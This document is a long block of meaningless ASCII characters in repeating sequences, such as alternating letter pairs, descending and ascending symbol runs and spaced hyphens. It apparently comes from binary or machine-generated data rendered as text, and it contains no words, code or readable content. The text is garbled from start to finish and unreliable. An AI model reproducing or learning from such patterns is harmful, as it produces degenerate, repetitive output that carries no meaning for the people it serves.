HGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopoponmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQQRQRQQQQPOPOPOPOPONMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878786565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghgfefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQQQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9787878776565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklkkkkklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9777787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkllklklklkjijijijijijihghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklklkkkklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkllklkjijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSQQQQQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:987777778878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!         - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!"!"!            - - - - - - - - "!"!"!"!"!"!              - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!                - - - - - - - "!"!"!"!                - - - - "!"!"!"!                - - - - - "!"!"!"!                - - - - - - - - "!"!"!"!               - - - - - - - - "!"!"!"!        - - - - - - - - PPOONNMMqqrrsstt~~}}||{{ffgghhii~~}}||EEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII eeffgghh<<;;::99 uuvvwwxx,,++**))--..//00ttssrrqqKKLLMMNN))((''&&@@AABBCCWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455oonnmmllBBCCDDEEKKJJIIHH%%&&''((\[[ZZYYX - -__``aabbBBAA@@??ooppqqrr221100//''(())**zzyyxxww""!! 778899::jjiihhggGGHHIIJJZZYYXXWWjjkkqqrrvvuuttss - - \]]^^__`==<<;;::ttuuvvww--,,++**,,--..//uuttssrr<<==>>??eeddccbb - -LLMMNNOOUUTTSSRR\\]]^^__,,++**))DDEEFFGG??>>==<;!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmAABBCCDD``__^^]]QQRRSSTTPPOONNMM - - aabbccddLLKKJJII uuvvwwxxzzyyxxww jjkkqqrr{{zzyyxxIIJJKKLLXXWWVVUUYYZZ[[\\HHGGFFEEiijjkkll88776655!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmOOPPQQWW%%$$##DDEEFFGGSSRRQQPP ^^__``aaCCBBAA@@nnooppqq33221100&&''(())~~{{zzyyxx##""!! 66778899kkjjiihhFFGGHHIIGGFFEEDD))**++,,XWWVUTSR ccddeeff>>==<<;;ssttuuvv..--,,++++,,--..vvuuttss;;<<==>>ffeeddcc KKLLMMNNVVUUTTSS - -ssttuuvvrrqqkkjj`aabbccd99887766 !!""##xxyyzz{{~~))((''&&00112233qqppoonn@@AABBCCaa``__^^ PPQQRRSSQQPPOONN - - ``aabbcc((''&&%%HHIIJJKK:9877665%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII eeffgghhHHGGFFEE!!""##$$yyzz{{||vvuuttss - - - -ssttuuvvwwvvuuttMMNNOOPPTTSSRRQQ]]^^__``DDCCBBAAmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiXXYYZZ[[HHIIJJKKOONNMMLL - - bbccddee??>>==<<rrssttuu//..--,,**++,,--wwvvuutt::;;<<==ggffeedd JJKKLLMMCCBBAA@@--..//00QQPPOONNgghhiijj::998877 !!""wwxxyyzz**))((''//001122rrqqppoo??@@AABBbbaa``__ - - OOPPQQRRRRQQPPOO wwxxyyzziihhggffdeeffggh55443322$$%%&&''||}}~~}}||{{zz%%$$##""44556677mmllkkjjDDEEFFGG]]\\[[ZZTTUUVVWWMMLLKKJJ ddeeffgg$$##LLMMNNOO54433221))**++,,xxwwvvuu 99::;;<>==qqrrsstt00//..--))**++,,xxwwvvuu 99::;;<>??@@AAccbbaa`` - - NNOOPPQQ??>>==7711223344MMLLKKJJkkllmmnn66554433##$$%%&&{{||}}~~~~}}||{{&&%%$$##33445566nnmmllkkCCDDEEFF^^]]\\[[SSTTUUVVNNMMLLKK{{||}}~~eeddccbb - - hiijjkkl1100//..(())**++yyxxwwvv!! 8899::;;iihhggffHHIIJJKKYYXXWWVVXXYYZZ[[IIHHGGFFhhiijjkkPPQQWWXX100//..---..//00ttssrrqq==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAAmmnnoopp@@??>>==))**++,,iihhggff{{||}}~~nmlkkjji - -UUVVWWXXLLKKJJII eeffgghh<<;;::99 uuvvwwxx,,++**))--..//00ttssrrqq==>>??@@ddccbbaa - - ``aabbcc~~}}PPQQRSTUGGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455oonnmmllBBCCDDEE__^^]]\\RRSSTTUU66554433556677==IIHHGGFFooppqqrr221100//''(())**zzyyxxww""!! 778899::jjiihhggGGHHIIJJZZYYXXWWWWXXYYZZJJIIHHGGaa``__^^ mnopqqrr--,,++**,,--..//uuttssrr<<==>>??eeddccbb - -LLMMNNOOUUTTSSRR\\]]^^__EEDDCCBBllmmnnooYYZZ[[\\-,,++**)11223344ppoonnmmAABBCCDD``__^^]]QQRRSSTTPPOONNMM - - aabbccdd@@??>>==qqrrsstt@@??>>==<<;;::99--..//00eeddccbbihhggffe YYZZ[[\\HHGGFFEEiijjkkll88776655!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmAABBCCDD``__^^]]ddeeffgg||{{zzyy VWWXXYYZCCBBAA@@nnooppqq33221100&&''(())~~{{zzyyxx##""!! 66778899kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYY221100//>>??@@AAEEDDCCBBssttuuvv..--,,++++,,--..vvuuttss;;<<==>>ffeeddcc KKLLMMNNVVUUTTSS[[\\]]^^FFEEDDCC]]\\[[ZZssttuuvv~~))((''&&00112233qqppoonn@@AABBCCaa``__^^ PPQQRRSSQQPPOONN - - ``aabbccAA@@??>>ppqqrrss~~}}||]]^^__``)((''&&%55667788llkkjjiiEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII eeffgghh<<;;::99 uuvvwwxx<<;;::998877665511223344aa``__^^eddccbba]]^^__``DDCCBBAAmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiEEFFGGHH\\[[ZZYYhhiijjkkxxwwvvuu - - Z[[\\]]^??>>==<<rrssttuu//..--,,**++,,--wwvvuutt::;;<<==ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]..--,,++BBCCDDEEAA@@??>> !!""wwxxyyzz**))((''//001122rrqqppoo??@@AABBbbaa``__ - - OOPPQQRRRRQQPPOO - -__``aabbBBAA@@??##YYXXWWQQwwxxyyzz}}||{{zz%%$$##""44556677mmllkkjjDDEEFFGG]]\\[[ZZTTUUVVWWMMLLKKJJ ddeeffgg==<<;;::ttuuvvww{{zzyyxx aabbccdd%$$##"! 99::;;<>==qqrrsstt00//..--))**++,,xxwwvvuu 99::;;<>??@@AAccbbaa`` - - NNOOPPQQSSRRQQPP ^^__``aa**))((''FFGGHHII==<;:987##$$%%&&{{||}}~~~~}}||{{&&%%$$##33445566nnmmllkkCCDDEEFF^^]]\\[[SSTTUUVVNNMMLLKK ccddeeff>>==<<;;$$%%&&''PPOONNMM{{||}}~~yyxxwwvv!! 8899::;;iihhggffHHIIJJKKYYXXWWVVXXYYZZ[[IIHHGGFFhhiijjkk99887766 !!""##xxyyzz{{wwvvuutt - - eeffgghh~~}}==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAAmmnnoopp44332211%%&&''((}}~~||{{zzyy4433221100//..--99::;;<>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ - - uuvvwwxxkkjjiihhbccddeef77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455oonnmmllBBCCDDEE__^^]]\\RRSSTTUUOONNMMLL - - bbccddee&&%%$$##JJKKLLMM76655443''(())**zzyyxxww""!! 778899::jjiihhggGGHHIIJJZZYYXXWWWWXXYYZZJJIIHHGGgghhiijj::998877(())**++LLKKJJII !"#uuttssrr<<==>>??eeddccbb - -LLMMNNOOUUTTSSRR\\]]^^__EEDDCCBBllmmnnoo55443322$$%%&&''||}}~~ssrrqqkkiijjkkqq||{{zzyyAABBCCDD``__^^]]QQRRSSTTPPOONNMM - - aabbccdd@@??>>==qqrrsstt00//..--))**++,,xxwwvvuu00//..--,,++**))==>>??@@PPOONNMM(())**++YXXWWVUTiijjkkll88776655!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmAABBCCDD``__^^]]QQRRSSTTPPOONNMM yyzz{{||ggffeedd - -fgghhiij33221100&&''(())~~{{zzyyxx##""!! 66778899kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYYKKJJIIHHffgghhiiNNOOPPQQ3221100/++,,--..vvuuttss;;<<==>>ffeeddcc KKLLMMNNVVUUTTSS[[\\]]^^FFEEDDCCkkllmmnn66554433,,--..//HHGGFFEE#$$%%&&'qqppoonn@@AABBCCaa``__^^ PPQQRRSSQQPPOONN - - ``aabbccAA@@??>>ppqqrrss1100//..(())**++jjiihhgg rrssttuuxxwwvvuuEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII eeffgghh<<;;::99 uuvvwwxx,,++**))--..//00ttssrrqq,,++**))~~}}((''&&%%AABBCCDDLLKKJJII,,--..//SRQQPPOOmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII}}~~ccbbaa`` jkklmnop//..--,,**++,,--wwvvuutt::;;<<==ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmmWWXXYYZZ/..--,,+//001122rrqqppoo??@@AABBbbaa``__ - - OOPPQQRRRRQQPPOO - -__``aabbBBAA@@??ooppqqrr221100//00112233DDCCBBAA'(())**+mmllkkjjDDEEFFGG]]\\[[ZZTTUUVVWWMMLLKKJJ ddeeffgg==<<;;::ttuuvvww--,,++**,,--..//ffeeddcc - - vvwwxxyyttssrrqqIIJJKKLLXXWWVVUUYYZZ[[\\HHGGFFEEiijjkkll88776655!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmm((''&&%%||{{zzyy$$##""!!EEFFGGHHHHGGFFEE00112233NNMMLLKKqqrrsstt00//..--))**++,,xxwwvvuu 99::;;<>??@@AAccbbaa`` - - NNOOPPQQSSRRQQPP ^^__``aaCCBBAA@@nnooppqq~~[[\\]]^^+**))(('33445566nnmmllkkCCDDEEFF^^]]\\[[SSTTUUVVNNMMLLKK ccddeeff>>==<<;;ssttuuvv..--,,++44556677@@??>>==+,,--../iihhggffHHIIJJKKYYXXWWVVXXYYZZ[[IIHHGGFFhhiijjkk99887766 !!""##xxyyzz{{~~))((''&&00112233bbaa``__zz{{||}}ponmlkkj MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAAmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjii$$##""!!xxwwvvuu IIJJKKLLDDCCBBAA44556677JJIIHHGG uuvvwwxx,,++**))--..//00ttssrrqq==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAA[[ZZYYXXuuvvwwxx~~}}||''&&%%$$22334455oonnmmllBBCCDDEE__^^]]\\RRSSTTUUOONNMMLL - - bbccddee??>>==<<rrssttuu}}||{{zz__``aabb'&&%%$$#778899::jjiihhggGGHHIIJJZZYYXXWWWWXXYYZZJJIIHHGGgghhiijj::998877 !!""wwxxyyzz**))((''==>>??@@77665544/0011223eeddccbb - -LLMMNNOOUUTTSSRR\\]]^^__EEDDCCBBllmmnnoo55443322$$%%&&''||}}~~}}||{{zz%%$$##""44556677^^]]\\[[~~jiihhggf - - QQRRSSTTPPOONNMM - - aabbccdd@@??>>==qqrrsstt00//..--))**++,,xxwwvvuu 99::;;<>====>>??@@FFEEDDCC!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmAABBCCDD``__^^]]QQRRSSTTPPOONNMM - - aabbccdd@@??>>==##$$%%WWQQPPOOyyzz{{||{{zzyyxx##""!! 66778899kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii;;::9988 !!vvwwxxyyyyxxwwvv - -ccddeeff#"! ;;<<==>>ffeeddcc KKLLMMNNVVUUTTSS[[\\]]^^FFEEDDCCkkllmmnn66554433##$$%%&&{{||}}~~~~}}||{{&&%%$$##AABBCCDD3322110034455667aa``__^^ PPQQRRSSQQPPOONN - - ``aabbccAA@@??>>ppqqrrss1100//..(())**++yyxxwwvv!! 8899::;;ZZYYXXWWfeeddccbUUVVWWXXLLKKJJII eeffgghh<<;;::99 uuvvwwxx,,++**))--..//00ttssrrqq==>>??@@ddccbbaappoonnmmQQRRSSTT77665544AABBCCDDBBAA@@??%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII eeffgghh<<;;::99&&''(())NNMMLLKK}}~~wwvvuutt::;;<<==ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}uuttssrr gghhiijj~~}}||{{??@@AABBbbaa``__ - - OOPPQQRRRRQQPPOO - -__``aabbBBAA@@??ooppqqrr221100//''(())**zzyyxxww""!! EEFFGGHH//..--,,789:;<==]]\\[[ZZTTUUVVWWMMLLKKJJ ddeeffgg==<<;;::ttuuvvww--,,++**,,--..//uuttssrr<<==>>??QQPPOONNbaa``__^YYZZ[[\\HHGGFFEEiijjkkll88776655!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmAABBCCDD``__^^]]llkkjjiiUUVVWWXX33221100EEFFGGHH>>==<;:9))**++,,xxwwvvuu 99::;;<>??@@AAccbbaa`` - - NNOOPPQQSSRRQQPP ^^__``aaCCBBAA@@nnooppqq33221100&&''(())~~qqkkjjiikkqqrrsszzyyxxwwCCDDEEFF^^]]\\[[SSTTUUVVNNMMLLKK ccddeeff>>==<<;;ssttuuvv..--,,++++,,--..vvuuttssIIJJKKLL++**))((>>??@@AAYYXXWWVVXXYYZZ[[IIHHGGFFhhiijjkk99887766 !!""##xxyyzz{{~~))((''&&00112233qqppoonn@@AABBCCMMLLKKJJ##$$%%&&^]]\\[[Z]]^^__``DDCCBBAAmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiEEFFGGHH\\[[ZZYYhhggffee YYZZ[[\\//..--,,IIJJKKLL87766554--..//00ttssrrqq==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAAmmnnoopp44332211..//0011FFEEDDCC%&&''(()oonnmmllBBCCDDEE__^^]]\\RRSSTTUUOONNMMLL - - bbccddee??>>==<<rrssttuu//..--,,**++,,--hhggffee - - ttuuvvwwvvuuttssGGHHIIJJZZYYXXWWWWXXYYZZJJIIHHGGgghhiijj::998877 !!""wwxxyyzz**))((''//001122rrqqppooMMNNOOPP''&&%%$$BBCCDDEEUUTTSSRR\\]]^^__EEDDCCBBllmmnnoo55443322$$%%&&''||}}~~}}||{{zz%%$$##""44556677mmllkkjjDDEEFFGGIIHHGGFF''(())**ZYYXXWWV - - aabbccdd@@??>>==qqrrsstt00//..--))**++,,xxwwvvuu 99::;;<>==qqrrsstt00//..--22334455BBAA@@??)**++,,-kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii;;::9988 !!vvwwxxyy++**))((..//0011ddccbbaa xxyyzz{{rrqqponm KKLLMMNNVVUUTTSS[[\\]]^^FFEEDDCCkkllmmnn66554433##$$%%&&{{||}}~~~~}}||{{&&%%$$##33445566nnmmllkkQQWWXXYY##FFGGHHIIQQPPOONN - - ``aabbccAA@@??>>ppqqrrss1100//..(())**++yyxxwwvv!! 8899::;;iihhggffHHIIJJKKEEDDCCBB++,,--..UTSRQQPP eeffgghh<<;;::99 uuvvwwxx,,++**))--..//00ttssrrqq==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ - - ``__^^]] - - aabbccdd''&&%%$$QQWWXXYY0//..--,55667788llkkjjiiEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJII eeffgghh<<;;::99 uuvvwwxx,,++**))6677==>>>>==7766-..//001ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455``__^^]]||}}~~lkkjjiih - - OOPPQQRRRRQQPPOO - -__``aabbBBAA@@??ooppqqrr221100//''(())**zzyyxxww""!! 778899::jjiihhggZZ[[\\]]JJKKLLMMMMLLKKJJ ddeeffgg==<<;;::ttuuvvww--,,++**,,--..//uuttssrr<<==>>??eeddccbb - -LLMMNNOOAA@@??>>//001122OONNMMLLiijjkkll88776655!!""##$$yyzz{{||~~}}((''&&%%11223344ppoonnmmAABBCCDD``__^^]]QQRRSSTTPPOONNMM\\[[ZZYY eeffgghh##ZZ[[\\]],++**))(99::;;<>==<<;;ssttuuvv..--,,++++,,--..vvuuttss;;<<==>>ffeeddcc ^^__``aaNNOOPPQQIIHHGGFFhhiijjkk99887766 !!""##xxyyzz{{~~))((''&&00112233qqppoonn@@AABBCCaa``__^^ PPQQRRSS==77665533445566KKJJIIHHmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!55667788llkkjjiiEEFFGGHH\\[[ZZYYUUVVWWXXLLKKJJIIXXWWVVUUiijjkkll^^__``aa(''&&%%$==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAAmmnnoopp44332211%%&&''((}}~~||{{zzyy$$##""!!CCDDEEFF1100//..5667789:__^^]]\\RRSSTTUUOONNMMLL - - bbccddee??>>==<<rrssttuu//..--,,**++,,--wwvvuutt::;;<<==XXWWQQPPdccbbaa`WWXXYYZZJJIIHHGGgghhiijj::998877 !!""wwxxyyzz**))((''//001122rrqqppoo??@@AABBbbaa``__ - - bbccddee~~}}||{{RSTUVWWXEEDDCCBBllmmnnoo55443322$$%%&&''||}}~~}}||{{zz%%$$##""44556677mmllkkjjDDEEFFGG]]\\[[ZZTTUUVVWW4433221177==>>??GGFFEEDDqqrrsstt00//..--))**++,,xxwwvvuu 99::;;<>==qqrrsstt00//..--))**++,,xxwwvvuu GGHHIIJJ--,,++**;<==>>??[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii;;::9988 !!vvwwxxyy++**))((..//0011ssrrqqpp>>??@@AAOONNMMLL##$$`__^^]]\[[\\]]^^FFEEDDCCkkllmmnn66554433##$$%%&&{{||}}~~~~}}||{{&&%%$$##33445566nnmmllkkCCDDEEFF^^]]\\[[ffgghhiizzyyxxww XYYZZ[[\AA@@??>>ppqqrrss1100//..(())**++yyxxwwvv!! 8899::;;iihhggffHHIIJJKKYYXXWWVVXXYYZZ[[00//..--@@AABBCCCCBBAA@@ uuvvwwxx,,++**))--..//00ttssrrqq==>>??@@ddccbbaa - - MMNNOOPPTTSSRRQQ]]^^__``DDCCBBAA - - yyzz{{||ggffeedd - -fgghhiij33221100&&''(())~~{{zzyyxx##""!! 66778899kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii^^__``aa{{zzyyxx##""!! FFGGHHII}}~~ccbbaa`` jkklmnop//..--,,**++,,--wwvvuutt::;;<<==ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmmbbccddeewwvvuuttJJKKLLMM__^^]]\\qqrrsstt++**))((..//0011ssrrqqpp>>??@@AAccbbaa`` - - NNOOPPQQSSRRQQPP ^^__``aaCCBBAA@@nnooppqq~~}}||{{ffgghhiissrrqqppNNOOPPQQ[[ZZYYXXuuvvwwxx~~}}||''&&%%$$22334455oonnmmllBBCCDDEE__^^]]\\RRSSTTUUOONNMMLL - - bbccddee??>>==<<rrssttuuzzyyxxww jjkkqqrroonnmmllRRSSTTUU##$$%%WWQQPPOOyyzz{{||{{zzyyxx##""!! 66778899kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii;;::9988 !!vvwwxxyyvvuuttss - - - -ssttuuvvkkjjiihhVVWWXXYY&&''(())NNMMLLKK}}~~wwvvuutt::;;<<==ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}rrqqkkjj wwxxyyzzggffeedd ZZ[[\\]]**++,,--JJIIHHGG !"##$$%ssrrqqpp>>??@@AAccbbaa`` - - NNOOPPQQSSRRQQPP ^^__``aaCCBBAA@@nnooppqq33221100&&''(())~~iihhggff{{||}}~~ccbbaa`` - - ^^__``aa..//0011FFEEDDCC%&&''(()oonnmmllBBCCDDEE__^^]]\\RRSSTTUUOONNMMLL - - bbccddee??>>==<<rrssttuu//..--,,**++,,--eeddccbb__^^]]\\ - - bbccddee22334455BBAA@@??)**++,,-kkjjiihhFFGGHHII[[ZZYYXXVVWWXXYYKKJJIIHHffgghhii;;::9988 !!vvwwxxyy++**))((..//0011aa``__^^[[ZZYYXXffgghhii6677==>>>>==7766-..//001ggffeedd JJKKLLMMWWVVUUTTZZ[[\\]]GGFFEEDDjjkkllmm77665544""##$$%%zz{{||}}~~}}||''&&%%$$22334455]]\\[[ZZ##WWVVUUTTjjkkllmm??@@AABB5544332212233445ccbbaa`` - - NNOOPPQQSSRRQQPP 